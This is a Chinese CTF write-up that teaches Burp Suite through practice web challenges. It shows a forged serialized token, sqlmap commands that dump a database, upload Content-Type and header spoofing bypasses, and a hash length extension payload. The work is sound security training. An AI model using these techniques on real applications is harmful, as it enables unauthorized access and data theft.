Burp Suite

版权声明:a3uRa QQ:962620891 github:asuralinmo.github.io https://blog.csdn.net/qq_41173457/article/details/79963310

  Burp Suite(简称bp) 是用于Web 应用安全测试工具的集成平台,包含许多工具。

  Proxy :一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许拦截客户端发送到服务端的请求数据包

Intruder:一般用于爆破密码,用户名,还可以进行sql注入的测试,来查看过滤了哪些语句,关键词

Repeater:在Proxy拦截请求数据包后,发送到Repeater,在Repeater模块可以修改请求数据包的内容,单击Go

按钮后,可以发送请求(request)数据包到服务端,并在右侧返回服务端发回的内容(响应response)

decoder:用于编解码

comparer:用于比较两段文字的差异,并可以得到一个可视化的差异

bp可以用来跳过前端验证即Javascript的验证

javascript属于前端验证,在浏览器未提交数据时进行验证,用来防止用户输入错误,而我们是在通过验证,并拦截HTTP请求后修改数据,javascript的验证根本起不了任何作用,由此可见,前端验证是不可靠的。服务器端的验证是为了防止恶意攻击。

bp首先需要从proxy的option中设置代理,和浏览器火狐或者是Google的代理一致,手动配置代理  127.0.0.1:端口

然后到intercept中 切换到intercept is on  刷新一下浏览器的页面即可拦截到发送的请求,此时浏览器会一直处于阻塞状态

学bp,首先要熟悉http协议,https://www.jianshu.com/p/80e25cb1d81a

bp一般就是用来拦截请求包然后修改,进行绕过服务器端的检测,比如大小写绕过,php别名绕过,%00截断,利用未知后缀名绕过等等,还有经常用来就是Intruder,利用字典 爆破密码,用户名,弱口令,还可以整理一份自己的sql注入语句字典(kali好像自带着有一份)来检测过滤了什么关键字等等,然后在利用未过滤的,可以影响数据库的标点等等来构造payload

用几个题目来叙述一下ctf中bp的常规用法

0x01 comparer:记得前些天的TCTF,有一道杂项题,就是来比较两段文字的差异,而这差异就是一份文章是完整的,而另一份则是不完整的,隔几行就缺少了几个字母,最终把这缺少的字母连起来就是flag。当初队友是用了另外一个文件比对的工具,还要逐行的去找,看起来好麻烦的说

flag{i like it}

0x02 i春秋-web-“百度杯”CTF比赛 十月场Login

常规先右键查看源代码,发现最下面有<!-- test1 test1 --> 可能是账号和密码 输入进去 进入到/member.php 发现(╯‵□′)╯︵┴─┴,没什么东西,用bp抓包看看,

发现response中的headers中的show  值为  0     一般,做题中常见的有sources  值为  0   ,这次又遇见了show  值为   0的 在计算机中  0代表假   1代表真  类似于信息隐藏吧,此值决定着是否开启on or off 隐藏的内容

此时我们从request的请求段中构造show: 1   然后go  出现源代码   开始php代码审计

<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?> -->

想要得到flag  需要$login['user'] === 'ichunqiu'    token属于cookie   把request得到的token先base64解密,在进行gzuncompress解压缩,然后在进行反序列化  最后赋值给变量login   如果此时的$login的值为ichunqiu 即可成功得到flag

array(key=>value)   key='user'    value='ichunqiu'        先序列化serialize()  再压缩 gzcompress()  最后在base64加密 得到最初的token    一个简陋的脚本  

<?php
$a=array('user'=>'ichunqiu');
$b=base64_encode(gzcompress(serialize($a)));
echo $b
?>

运行得到eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==   

我们从request的params中add一行  

 

然后go 在response中可以看到flag

我觉得此题的原理就是利用token来验证身份,知道了token是什么,在请求中来添加token就可以通过验证 即可得到flag,token的由来 就是通过代码审计,网站的源代码泄露,导致我们可以看到源代码,进行代码审计来查看加密过程和通过条件,知道了这一切,写出算法程序解密,即可构造出payload

0x03 bugku-这是一个神奇的登录框

url中提示为sql注入  查看源代码  发现是用post方式提交数据  随便输入账号密码提交抓包右键copy to file 第一次见这么用bp的,,,

kali sqlmap  sqlmap.py -r "绝对路径" -p admin_name --dbs    -r为读文件   然后是保存file的绝对路径   -p选取admin_name为注入点   --dbs 是获取当前数据库    

应该是bugkusql1         information_schema应该是sql注入中经常构造语句使用的数据库,此数据库记录了很多其他数据库的消息     爆出数据库后是 找表  再找列    最后爆出列所包含的内容字段   

sqlmap.py -r "绝对路径" -D bugkusql1 -p admin_name --tables         -D为 此时的数据库    --tables是查看此数据库的所有表

sqlmap.py -r "绝对路径" -D bugkusql1 -T flag1 -p admin_name --columns    -T指定表       --columns 查看此数据库此表中的所有列  

sqlmap.py -r "绝对路径" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump   -C指定列名      --dump获取字段  得到flag

小结一下:bp新用法 ,把请求的内容加载到文件中 ,用sqlmap来使用读取加载的文件,找到注入点,然后一路爆破,查看数据库 查看表 查看列 查看字段

0x04  bugku-文件上传测试

上传一个jpg文件,回显说非PHP文件。上传一个php文件,回显非图片文件,然后再次上传一个php文件的时候,用bp截断,发送到repeater后,修改request中的Content-Type:   把原本是application/octet-stream  更改为 image/jpeg 或image/png  或  image/gif    都可以

属于服务端验证绕过-Content-type检测  若服务端检测文件类型时是检测Content-type的值  在bp中修改Content-type即可绕过检测

0x05  实验吧 guess next session

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

 

$_GET['password'] == $_SESSION['password']

$_GET['password']==$_SESSION['password']

Cookie与 Session,一般都会认为这是两个独立完全不同的东西,Session采用的是在服务器端保持状态的方案,保存在服务器端,而Cookie采用的是在客户端保持状态的方案,保存在客户端。在PHP配置中的默认情况下,Session是用Session ID来确定当前对话所对应的服务器Session,而Session ID是通过Cookie来传递的,禁用Cookie相当于失去了Session ID,也就得不到Session了,从抓包的内容中我们就能看见在Cookie中已经是包含了Sessid,并且发送的password在URL中以Get的方式传值

将整个cookie删除 ,删除其内容 或者是删除cookie 让cookie值为空,再使password值为空即?password=

分析:没有cookie,sessionid,phpsessid为空没有,找不到对应的session,session为空,session['password']为空,password值为空,两者相同,满足$_GET['password']==$_SESSION['password'],然后发送请求包 得到flag

0x06   实验吧-forbidden-bp伪造发出请求地点   bp抓取Request包后,根据题目提示:只允许在香港的进入,Accept-Language中的CN改为hk,以这样的方式来伪造我们在香港,可以在Response包内容中得到返回的key

0x07  实验吧-让我进去   

右键源代码

post方式传递,没什么特别的,用bp抓包看看,

request中的cookie中有个source=0,将其改为=1后发送请求包,response中出现源代码

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

 

哈希长度扩展攻击!!!已知Cookie中的sample-hash=571580b26c65f306376d4f64e53cb5c7   

$secret是密文,长度为15   $secret+admin总长度为20   工具:ubuntu下的hashpump

hashpump安装链接:http://www.cnblogs.com/pcat/p/5478509.html

将\x换成%,用bp构造request包,共有三处需要构造,1.username=admin    2.password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00t     3.request中params中add:type为cookie name为getmein  value为cda92c03aecfed8cb67689118a1ea341   在params中添加后,会自动在raw,headers,hex作出修改

发送请求包,得到flag

0x08  用bp来fuzz,进行模糊测试

0x09 Jarvis OJ  web localhost

打开页面后显示:localhost access only   

用bp抓包构造x-forwarded-for=127.0.0.1   

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

阅读更多
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页